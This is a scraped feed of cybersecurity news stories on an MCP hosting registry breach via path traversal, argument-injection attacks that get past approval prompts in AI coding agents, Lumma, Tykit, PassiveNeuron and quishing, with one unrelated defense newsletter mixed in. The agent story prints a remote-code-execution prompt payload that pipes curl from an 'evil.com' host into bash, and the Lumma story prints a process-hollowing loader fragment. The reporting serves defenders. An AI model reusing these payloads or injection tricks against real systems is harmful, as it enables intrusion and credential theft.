• A critical vulnerability in Smithery.ai, a popular registry for Model Context Protocol (MCP) servers. This issue could have allowed attackers to steal from over 3,000 AI servers and take API keys from thousands of users across many services.

    MCP powers AI apps by linking them to external tools and data, like local filesystems or remote databases. Servers come in local or remote flavors, with remote ones often self-hosted or fully managed by providers.

    According to GitGuardian, Smithery.ai’s hybrid model simplifies deployment by hosting user-submitted servers on its infrastructure, built from GitHub repos into Docker images. But this convenience amplified the stakes: a single breach could ripple across an entire ecosystem of AI tools.

    Exploiting a Simple Configuration Vulnerability

    The flaw stemmed from lax controls in Smithery’s build process. Users submit a smithery.yaml file specifying the Docker build context via dockerBuildPath. Legit setups point inside the repo, but the system didn’t validate inputs, enabling path traversal attacks.

    By setting dockerBuildPath to “..”, attackers could reference the builder machine’s home directory outside the repo, exposing sensitive files to a malicious Dockerfile.

    In testing, GitGuardian crafted a repo named “test” with a rigged yaml and Dockerfile. The latter used curl to exfiltrate the directory tree to an attacker-controlled site, revealing files like .docker/config.json.

    This file held an overprivileged fly.io authentication token, meant for Docker registry access but granting broader machine API privileges.

    Fly.io powers Smithery’s hosting with virtualized containers, and the token unlocked an organization with 3,243 apps, mostly MCP servers, plus service infrastructure.

    With the token, attackers could query apps, execute code on machines (confirming root access via “id” command), and even sniff network traffic.

    Compromised Server key
    Compromised Server key

    Capturing HTTP requests to a compromised server exposed client-sent API keys, like a Brave key in query params. Scaled up, this could harvest secrets from thousands of clients connecting to services via MCP servers, according to GitGuardian.

    The incident highlights supply-chain perils in centralized AI hosting. MCP servers often rely on static API keys rather than OAuth, easing attacks but complicating privilege limits.

    Echoing breaches like Salesloft’s OAuth abuse, it shows how one flaw enables lateral movement across trusts.

    Smithery fixed the traversal on June 15, 2025, after disclosure on June 13, rotating keys and tightening builds. As AI ecosystems grow, such platforms must prioritize isolation to shield developers from ecosystem-wide threats.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Critical Vulnerability in MCP Server Platform Exposes 3,000+ Servers and Thousands of API Keys appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The Iranian nation-state group known as MuddyWater has been attributed to a new campaign that has leveraged a compromised email account to distribute a backdoor called Phoenix to various organizations across the Middle East and North Africa (MENA) region, including over 100 government entities. The end goal of the campaign is to infiltrate high-value targets and facilitate intelligence gathering

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A critical argument injection flaw in three unnamed popular AI agent platforms enables attackers to bypass human approval safeguards and achieve remote code execution (RCE) through seemingly innocuous prompts.

    According to Trail of Bits, these vulnerabilities exploit pre-approved system commands designed for efficiency in tasks like file searches and code analysis, highlighting a widespread design flaw in agentic AI systems.

    AI agents rely on native tools such as find, grep, git, and go test to handle filesystem operations and version control without reinventing functionality, offering benefits in performance, reliability, and development speed.

    However, these pre-approved commands create an attack surface when user inputs influence arguments, allowing argument injection as defined by CWE-88.

    Systems often validate commands against allowlists but neglect argument flags, making blanket blocking impractical due to the vast parameter spaces of utilities.

    For instance, a simplified Go function checks if a command like “grep” is safe but appends user-provided arguments unchecked, leaving room for exploitation.

    This antipattern persists because selective filtering demands exhaustive knowledge of command options, a challenge amplified by AI’s dynamic nature.​

    In one CLI-based agent, attackers crafted a prompt to run “go test -exec ‘bash -c “curl c2-server.evil.com?unittest= | bash; echo success”‘”, leveraging the -exec flag to introduce unauthorized curl and bash commands, resulting in RCE without approval.

    Another example bypassed regex filters by using git show with hex-encoded payloads to create a file, followed by ripgrep’s –pre flag to execute it, all through JSON-formatted prompts that nudged the model toward tool use, according to Trail of Bits.

    Attack Patterns

    A facade pattern vulnerability in a third system appended malicious flags like “-x=python3” to an fd command, executing a pre-created Python payload with os.system for arbitrary actions.

    These one-shot attacks, embeddable in code comments or repositories, draw from “living off the land” techniques cataloged in GTFOBins and LOLBAS projects.

    Prior disclosures, including Johann Rehberger’s August 2025 writeups on Amazon Q command injection and CVEs like CVE-2025-54795 in Claude Code, echo these risks.

    To counter these threats, researchers advocate sandboxing as the primary defense, using containers, WebAssembly, or OS-level isolation like Seatbelt on macOS to limit agent access.

    For facade patterns, always insert argument separators like “–” before user inputs and disable shell execution with methods like subprocess.run(shell=False).

    Safe command allowlists remain flawed without sandboxes, as tools like find enable code execution via flags, urging audits against LOLBAS resources.

    Developers should implement logging, reduce allowlists, and reintroduce human loops for suspicious chains; users must restrict access and use containers for untrusted inputs.

    Security engineers can map tools via prompts or documentation, fuzz flags, and compare against exploit databases. As agentic AI proliferates, these coordinated disclosures signal a shift toward prioritizing security before entrenchment.​

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Critical Argument Injection Vulnerability in Popular AI Agents Let Attackers Execute Remote Code appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • QR codes used to be harmless, now they’re one of the sneakiest ways attackers slip past defenses. Quishing, or QR code phishing, hides malicious links inside innocent-looking images that filters can’t read. 

    One scan, and the victim lands on a fake login page designed to steal credentials or trigger a download; often from a mobile device completely outside your SOC’s visibility. 

    Why Quishing Is Hard to Catch 

    From a detection standpoint, Quishing breaks the usual rules. The phishing payload isn’t in the email body or attachment, it’s embedded inside an image as a QR code. That means: 

    • No clickable links for secure email gateways or URL filters to analyze. 
    • No obvious indicators for content inspection or heuristic engines. 
    • No telemetry once the user scans the code on a mobile device outside the corporate network. 

    Analyst’s New Weapon: Expose QR Phishing in Seconds 

    For SOC analysts, Quishing is a time sink and a blind spot. Traditional tools can’t scan QR codes and decoding them manually is slow and risky. 

    That’s why many teams now rely on interactive sandboxes like ANY.RUN to safely expose what’s hidden behind those codes without leaving the protected environment. 

    Instead of extracting images or using external decoders, the sandbox automatically detects and decodes QR codes from emails, PDFs, and screenshots. 

    It follows the resulting link in an isolated VM, giving analysts the full attack context, from payload delivery to network activity, in just seconds. 

    Real-World Example: Voicemail Scam Exposed in Under 60 Seconds 

    An email arrives claiming you’ve missed a voicemail. Instead of a link, it contains a QR code urging the user to “listen to the message.” 

    Check how sandbox exposes the hidden QR code 

    ANY.RUN sandbox exposing the malicious URL in seconds

    Once uploaded to ANY.RUN, the sandbox automatically detects and decodes the QR without manual extraction or third-party tools.  

    Reveal complex threats in seconds inside ANY.RUN’s interactive sandbox, cutting investigation time and turning hidden attacks into clear evidence -> Join ANY.RUN now 

    The decoded URL is displayed immediately in the Static Discovering section, and automated interactivity triggers a controlled browser session. 

    Malicious URL discovered in the Static discovering section inside ANY.RUN sandbox 

    In 60 seconds, the sandbox discovered the full attack chain, surfacing relevant TTPs, exportable IOCs, network connections, and a shareable analysis report analysts can use to block, hunt, and write detections. 

    Well-structured report generated by ANY.RUN for easy sharing 

    Why SOC Analysts Choose ANY.RUN for Quishing Analysis 

    Quishing attacks are built to waste analyst time; ANY.RUN gives that time back. With automated QR detection, real-time interaction, and deep visibility, analysts can shift from manual decoding to instant validation. 

    • 90% of attacks exposed in under 60 seconds: The sandbox reveals hidden payloads, redirect chains, and credential-harvesting pages in seconds, cutting average triage time by more than half. 
    • Full visibility in one interface: Analysts see process trees, network traffic, and decoded URLs together; no switching between tools, no risk of missing a step. 
    • Automatic evidence collection: Every session generates IOCs, network indicators, and screenshots that can be exported or shared in a single click. 
    • Faster detection engineering: Verified TTPs and IOCs can be turned into new detection rules directly from the sandbox report. 
    • Safe handling environment: QR codes, phishing pages, and scripts execute only inside the isolated VM, analysts stay fully protected while observing real behavior. 
    • Collaborative workflows: Share sessions across the team or integrate with your SIEM, SOAR, or ticketing system to accelerate incident response. 

    Turn QR Phishing from a Blind Spot Into a 60-Second Investigation 

    Quishing doesn’t only test your defenses but also your efficiency. Analysts spend hours decoding images, validating links, and correlating telemetry that should already be visible. 

    ANY.RUN changes that balance, giving SOCs the kind of context they can act on instantly. 

    With automation built into every stage of analysis, SOC teams using ANY.RUN report measurable results: 

    • Up to 58% more threats identified overall, including those that bypass standard filters and static analysis. 
    • 94% of users report faster triage, thanks to automated IOC collection and ready-to-share reports. 
    • 95% of SOC teams speed up investigations, connecting decoded URLs, network traffic, and threat behavior in one workflow. 
    Try ANY.RUN to uncover hidden phishing payloads, decode QR attacks safely, and turn every investigation into actionable insight. 

    The post SOCs Have a Quishing Problem: Here’s How to Solve It  appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybersecurity researchers have disclosed details of a coordinated spear-phishing campaign dubbed PhantomCaptcha targeting organizations associated with Ukraine’s war relief efforts to deliver a remote access trojan that uses a WebSocket for command-and-control (C2). The activity, which took place on October 8, 2025, targeted individual members of the International Red Cross, Norwegian Refugee

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A sophisticated cyberespionage campaign dubbed PassiveNeuron has resurfaced with infections targeting government, financial, and industrial organizations across Asia, Africa, and Latin America.

    First detected in 2024, the campaign remained dormant for six months before re-emerging in December 2024, with the latest infections observed as recently as August 2025.

    The threat involves deploying previously unknown advanced persistent threat implants named Neursite and NeuralExecutor, alongside the Cobalt Strike framework, to compromise Windows Server machines.

    The attackers primarily exploit Microsoft SQL servers to gain initial remote command execution on target systems. Once access is obtained through SQL vulnerabilities, injection flaws, or compromised database credentials, threat actors attempt deploying ASPX web shells for sustained access.

    However, the deployment has proven challenging, with security solutions frequently blocking their attempts. Attackers have adapted by using Base64 and hexadecimal encoding, switching between PowerShell and VBS scripts, and writing payloads line-by-line to evade detection.

    Securelist researchers identified that the campaign employs a sophisticated multi-stage infection chain, with malicious implants loaded through DLL loaders.

    The first-stage loaders are strategically placed in the System32 directory with names like wlbsctrl.dll, TSMSISrv.dll, and oci.dll, exploiting the Phantom DLL Hijacking technique to achieve automatic persistence upon startup.

    These DLLs are artificially inflated to exceed 100 MB by adding junk overlay bytes, making them difficult for security solutions to detect.

    The loaders incorporate advanced anti-analysis mechanisms, including MAC address validation to ensure execution only on intended victim machines.

    The first-stage loader iterates through installed network adapters, calculating a 32-bit hash of each MAC address and comparing it against hardcoded configuration values.

    If no match is found, the loader exits immediately, preventing execution in sandbox environments and confirming the highly targeted nature of this campaign.

    Multi-Stage Payload Delivery

    The PassiveNeuron infection chain follows a complex four-stage loading process. After the first-stage loader validates the target machine, it loads a second-stage DLL from disk with file sizes exceeding 60 MB.

    Function names found inside NeuralExecutor (Source – Securelist)

    This loader opens a text file containing Base64-encoded and AES-encrypted data with the third-stage loader. The third-stage payload launches a fourth-stage shellcode loader inside legitimate processes like WmiPrvSE.exe or msiexec.exe, created in suspended mode.

    The Neursite backdoor represents the most potent final-stage implant, featuring modular capabilities for system reconnaissance, process management, lateral movement, and file operations.

    Attribution analysis points toward Chinese-speaking threat actors, supported by Dead Drop Resolver techniques via GitHub repositories and tactics associated with APT31, APT27, and potentially APT41 groups.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post New PassiveNeuron Attacking Servers of High-Profile Organizations to Implant Malware appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Ukraine

    Trump backs out of peace talks with Putin. The much-anticipated Budapest meeting between President Donald Trump and Russian President Vladimir Putin was put on hold, the New York Times reported Tuesday, after Russian officials said they don’t intend to make a deal to end their war in Ukraine. Trump had been touting the Budapest summit, but canceled it after learning Putin had no interest in his proposal to end the fighting along the current front lines. 

    Russian Foreign Minister Sergei Lavrov’s lie: “A ceasefire now would mean only one thing: A large part of Ukraine would remain under Nazi rule,” Lavrov said after a preliminary phone call with Secretary of State Marco Rubio, repeating Russia’s false assertion that they invaded Ukraine to free it from fascism.

    Still a chance? Hungarian Prime Minister Viktor Orban is still making plans to hold the summit in Budapest eventually, Reuters reported Tuesday.

    “Weasel out”: Ukrainian President Volodymyr Zelenskyy took to X to call out Russia for dipping out of negotiations as soon as Trump made clear he wouldn’t be sending long-range Tomahawk missiles to Ukraine. “This signals that deep-strike capabilities may hold the key to peace,” Zelenskyy said. 

    Though Tomahawks may not be in Ukraine’s near future, Bell Textron on Monday announced that the company had signed letters of intent to explore sales of its helicopters to the country. That could include the AH-1Z Viper attack helicopter.


    Welcome to this Wednesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Meghann Myers and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1962, President John F. Kennedy ordered a naval quarantine of Cuba after American reconnaissance planes discovered Soviet weapons on the island.


    Around the Defense Department

    Trump pushes out Army’s No. 2 general in favor of Hegseth aide. The White House on Monday sent in a nomination to make Lt. Gen. Christopher LaNeve the next Army vice chief of staff, though the current one has been in the four-year role for under two years, Breaking Defense reported. Gen. James Mingus assumed he would retire after this job ended, an Army official told Breaking Defense, adding that “it is a little early but not significant.”

    Why now? LaNeve, a former commander of 8th Army in Korea and the 82nd Airborne Division, has all the bona fides you’d expect from a vice chief of staff. What’s not clear is why he’s being pushed into that role just six months into his job as Defense Secretary Pete Hegseth’s senior military aide, while the vice chief of staff position is usually held for three or so years. Trump could be teeing LaNeve up to be the next chief, as the vice chief is usually a top contender for the role. Current Army Chief of Staff Gen. Randy George just passed two years in the job.

    The move came just days after Hegseth announced the admiral overseeing military strikes on alleged drug-trafficking boats off Venezuela would retire early. Adm. Alvin Holsey has been leading U.S. Southern Command for less than a year.

    Speaking of the boat strikes, a group of independent U.N. experts say they amount to “extrajudicial executions.” In a Tuesday statement, experts appointed by the U.N. Human Rights Council said that even if the Trump administration’s allegations against the boaters “were substantiated, the use of lethal force in international waters without proper legal basis violates the international law of the sea and amounts to extrajudicial executions.” Reuters reports.

    The Pentagon is clamping down on communication with Congress, according to another Breaking Defense exclusive. An Oct. 15 memo signed by Hegseth and his deputy, Steve Feinberg, requires all correspondence with Capitol Hill to be coordinated through the office of the assistant defense secretary for legislative affairs. 

    While there is an exception for the independent inspector general’s office, the memo requires “coordination and alignment of Department messaging when engaging with Congress to ensure consistency and support for the Department’s priorities.” 

    Pentagon spokesman Sean Parnell, in a statement to CNN, said the move is intended to “improve accuracy and responsiveness in communicating with the Congress to facilitate increased transparency.”

    More transparency would be a welcome change to lawmakers who have chided the Defense Department for its lack of response to official requests for information. 

    “‘He lost us’: Generals, senior officers say trust in Hegseth has evaporated,” reports the Washington Times’ Ben Wolfgang, citing “current senior military officers and current and former Defense Department officials.” Leaders he spoke to pointed to Hegseth’s “public ‘grandstanding’ widely seen as unprofessional and the personnel moves made by the former cable TV host leading to an unprecedented and dangerous exodus of talent from the Pentagon…”

    Turning point? “Numerous high-ranking officers painted Mr. Hegseth’s Sept. 30 speech to hundreds of generals and admirals gathered at Marine Corps Base Quantico in Virginia as a turning point in how his leadership style, attitude and overall competency are viewed in the upper echelons of the U.S. armed forces,” the Times writes. Read on, here

    The Army wants drones that understand “commander’s intent.” That’s part of a draft UAS strategy that calls for a new career field, new advanced training, and soldier-built drones, reports Defense One’s Meghann Myers. The forthcoming strategy will focus on “universal interoperability and autonomy,” Maj. Gen. Clair Gill said at last week’s AUSA annual meeting in Washington, D.C.

    Right now, the service is looking for software that will enable drones to take orders rather than be flown. “You know, gone are the days where a drone operator is actually being a pilot, where they have to be hands on the sticks all the time,” Gill said. Read on, here

    Shutdown pauses talks on accelerating B-21 production.  Northrop Grumman CEO Kathy Warden, whose company sank half a billion dollars into speeding up production of its new strategic bomber, said Tuesday that talks with the Air Force are on hold during the federal shutdown, which is about to enter its fourth week. Warden spoke during the company’s third-quarter earnings call; Defense One’s Thomas Novelly has more, here.

    Middle East

    A civil-military coordination center in Israel will become the main hub for Gaza assistance, U.S. Central Command announced Tuesday. About 200 U.S. military personnel will help coordinate “humanitarian, logistical, and security assistance,” into Gaza, but will remain in Israel. The center will also “monitor” the implementation of the Israel-Hamas ceasefire, according to CENTCOM.

    Analysis: Turkey’s help in securing the ceasefire is already paying off, Reuters reports, in “diplomatic leverage in Washington, with officials expected to use the goodwill to push for progress on F-35 fighter jet sales, relief from U.S. sanctions, and support for its security goals in Syria. The effort also reestablished Turkey’s influence in Middle East diplomacy—unsettling Israel and Arab rivals such as Egypt, Saudi Arabia, and the UAE—and capped a reset in U.S.-Turkey relations following Erdoğan’s September visit to the White House.” More, here.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A sophisticated phishing kit dubbed Tykit, which impersonates Microsoft 365 login pages to harvest corporate credentials.

    First detected in May 2025, the kit has surged in activity during September and October, exploiting SVG files as a stealthy delivery mechanism.

    Unlike basic phishing lures, Tykit demonstrates maturity through consistent obfuscation techniques and multi-stage command-and-control (C2) interactions, making it a potent tool for credential theft across global organizations.

    The kit’s rise aligns with a broader spike in SVG-based attacks, where seemingly innocuous image files embed JavaScript payloads. These scripts use XOR encoding to rebuild malicious code, which executes via the dangerous eval() function to redirect victims to fake login sites.

    Cybersecurity firm ANY.RUN has identified Tykit, a mature phishing-as-a-service (PhaaS) kit that impersonates Microsoft 365 login pages to capture corporate credentials through adversary-in-the-middle (AitM) techniques.

    Tykit Phishing Kit Mimics Microsoft 365 Login

    Tykit emerged in sandbox environments in early May 2025, with researchers pivoting from a single suspicious SVG (SHA256: a7184bef39523bef32683ef7af440a5b2235e83e7fb83c6b7ee5f08286731892) to over 189 related sessions.

    Domains like loginmicr0sft0nlineeckaf[.]52632651246148569845521065[.]cc host the phishing pages, often appending Base64-encoded victim emails via the “?s=” parameter. Exfiltration targets servers on segy[.]cc variants, sending staged POST requests to /api/validate and /api/login.

    This infrastructure spans templated domains resembling domain-generation algorithms, with patterns like ^loginmicr(o|0)s.?.([a-z]+)?\d+.cc$ for phishing hosts and ^segy?. for C2.

    The kit’s consistency, unchanged client-side logic, and obfuscation suggest organized operators distributing it widely, evading detection through basic anti-debugging like blocking developer tools and context menus.

    Tykit’s flow begins with an SVG prompting a fake “phone number check,” which accepts any input to proceed.

    The process starts by sending you to a CAPTCHA page that uses Cloudflare Turnstile to block bots. After that, it loads a page that looks like Microsoft 365. In the background, it checks emails using JSON data, which includes session keys and redirects.

    Upon credential entry, obfuscated JavaScript exfiltrates data to /api/login, including expired JWT tokens for authenticity.

    Server responses dictate outcomes: success renders benign HTML to mask theft, errors show “incorrect password” prompts, and “info” status triggers logging to /x.php. This adversary-in-the-middle (AitM) setup bypasses basic MFA, stealing emails, passwords, and tokens in JSON format.

    Cyber threats hit diverse sectors, including construction, IT, finance, government, telecom, real estate, and education, primarily in the US, Canada, LATAM, EMEA, Southeast Asia, and the Middle East.

    Compromises enable account takeovers, data exfiltration from SaaS apps, and lateral movement, posing risks of regulatory fines and trust erosion.

    To counter it, organizations should inspect SVG content with sandboxing and content disarmament, adopt phishing-resistant MFA like FIDO2, and monitor IOCs such as eval() calls, Base64 parameters, and suspicious domains.

    SIEM rules for /api/validate patterns, combined with user training on anomalous “images,” can disrupt campaigns early. As phishing evolves, Tykit underscores the need for proactive threat hunting to stay ahead of these “typical” yet effective kits.

    Expand Your Threat Coverage with Fresh IOCs from real-time Cyberthreats => Try Now

    The post New Tykit Phishing Kit Mimics Microsoft 365 Login Pages to Steal Corporate Account Credentials appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Since its emergence in August 2022, Lumma Infostealer has rapidly become a cornerstone of malware-as-a-service platforms, enabling even unskilled threat actors to harvest high-value credentials.

    Delivered primarily via phishing sites masquerading as cracked software installers, the malicious payload is encapsulated within a Nullsoft Scriptable Install System (NSIS) package designed to evade signature-based detection.

    Upon execution, fragmented AutoIt modules are reassembled in memory, with obfuscated shellcode loaded through process hollowing.

    This technique replaces a legitimate process with the stealer, camouflaging its activity under the guise of a benign executable.

    Genians analysts identified Lumma Infostealer following a surge in reports of credential theft in September 2025. Victims across both consumer and enterprise environments reported unauthorized access to web sessions, remote desktop services, and digital asset wallets.

    The stolen browser cookies and account tokens facilitate seamless session hijacking, bypassing multi-factor authentication measures in many cases.

    Cryptocurrency wallets saved in local databases, as well as VPN and RDP credentials stored in configuration files, are exfiltrated via encrypted channels to command-and-control (C2) domains hosted on compromised cloud infrastructure.

    The multifaceted nature of these thefts amplifies the potential for identity fraud, financial loss, and deeper network intrusions.

    Although Lumma Infostealer often serves as an initial foothold for ransomware and other follow-on attacks, its standalone impact is far-reaching.

    Victims may remain unaware of the breach until secondary actions—such as unauthorized wire transfers or illicit account listings on underground forums—bring the compromise to light.

    The modular design of the malware facilitates continuous updates, with developers pushing regular patches to evade new detection signatures.

    Strengthening endpoint detection and response (EDR) systems with behavior-based analytics and threat intelligence integration is critical to intercept the attack chain before data reaches the attacker’s C2 infrastructure.

    Infection Mechanism and Evasion Tactics

    At the heart of Lumma’s infection strategy is a layered installer that bypasses conventional scanners. When a user executes the downloaded NSIS installer, it drops a ZIP archive into the Temp directory.

    A command-line script (Contribute.docx) then invokes extrac32.exe to unpack a disguised Cabinet file.

    The extracted components—fragments of an AutoIt script and the AutoIt interpreter—are programmatically merged into a single executable stub.

    The following snippet illustrates the process hollowing routine used to inject the final payload:-

    ; Fragment of AutoIt loader
    Run("cmd.exe /c Contribute.docx")
    _ConsoleWrite("Launching AutoIt mode...")  
    _ProcessCreate("Riding.pif", "", @SystemDir, 0, $pi)  
    _WinAPI_WriteProcessMemory($pi.hProcess, $remoteAddr, $shellcode, BinaryLen($shellcode))  
    _WinAPI_SetThreadContext($pi.hThread, $context)  
    _WinAPI_ResumeThread($pi.hThread)
    Lumma Infostealer Attack Flow (Source – Genians)

    By verifying the absence of security processes (like SophosHealth, ekrn, AvastUI) with tasklist and findstr, the installer adjusts execution timing and payload placement, slipping past heuristic defenses.

    Once injected, the malicious process decrypts its C2 domains—rhussois.su, diadtuky.su, and todoexy.su—and establishes encrypted channels for data exfiltration.

    Stolen artifacts include web browser cookies, Telegram session data, cryptocurrency wallet files, and configuration files for VPN and RDP services.

    These credentials enable lateral movement and persistent access within victim networks, often without raising immediate alarms.

    The sophistication of Lumma Infostealer’s infection mechanism underscores the necessity for continuous monitoring of process injection events, routine auditing of installer behaviors, and enforcement of application allowlisting policies.

    Implementing network-level blocks for known C2 domains and employing sandbox detonation for suspicious NSIS packages can further mitigate the threat posed by this stealthy and adaptable infostealer.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Lumma Infostealer Malware Attacks Users to Steal Browser Cookies, Cryptocurrency Wallets and VPN/RDP Accounts appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybercriminals continue to evolve their email phishing arsenals, reviving legacy tactics while layering on advanced evasions to slip past automated filters and human scrutiny. In 2025, attackers are noted tried-and-true approaches—like password-protected attachments and calendar invites—with new twists such as QR codes, multi-stage verification chains, and live API integrations. These refinements not only prolong the […]

    The post Threat Actors Advancing Email Phishing Attacks to Bypass Security Filters appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶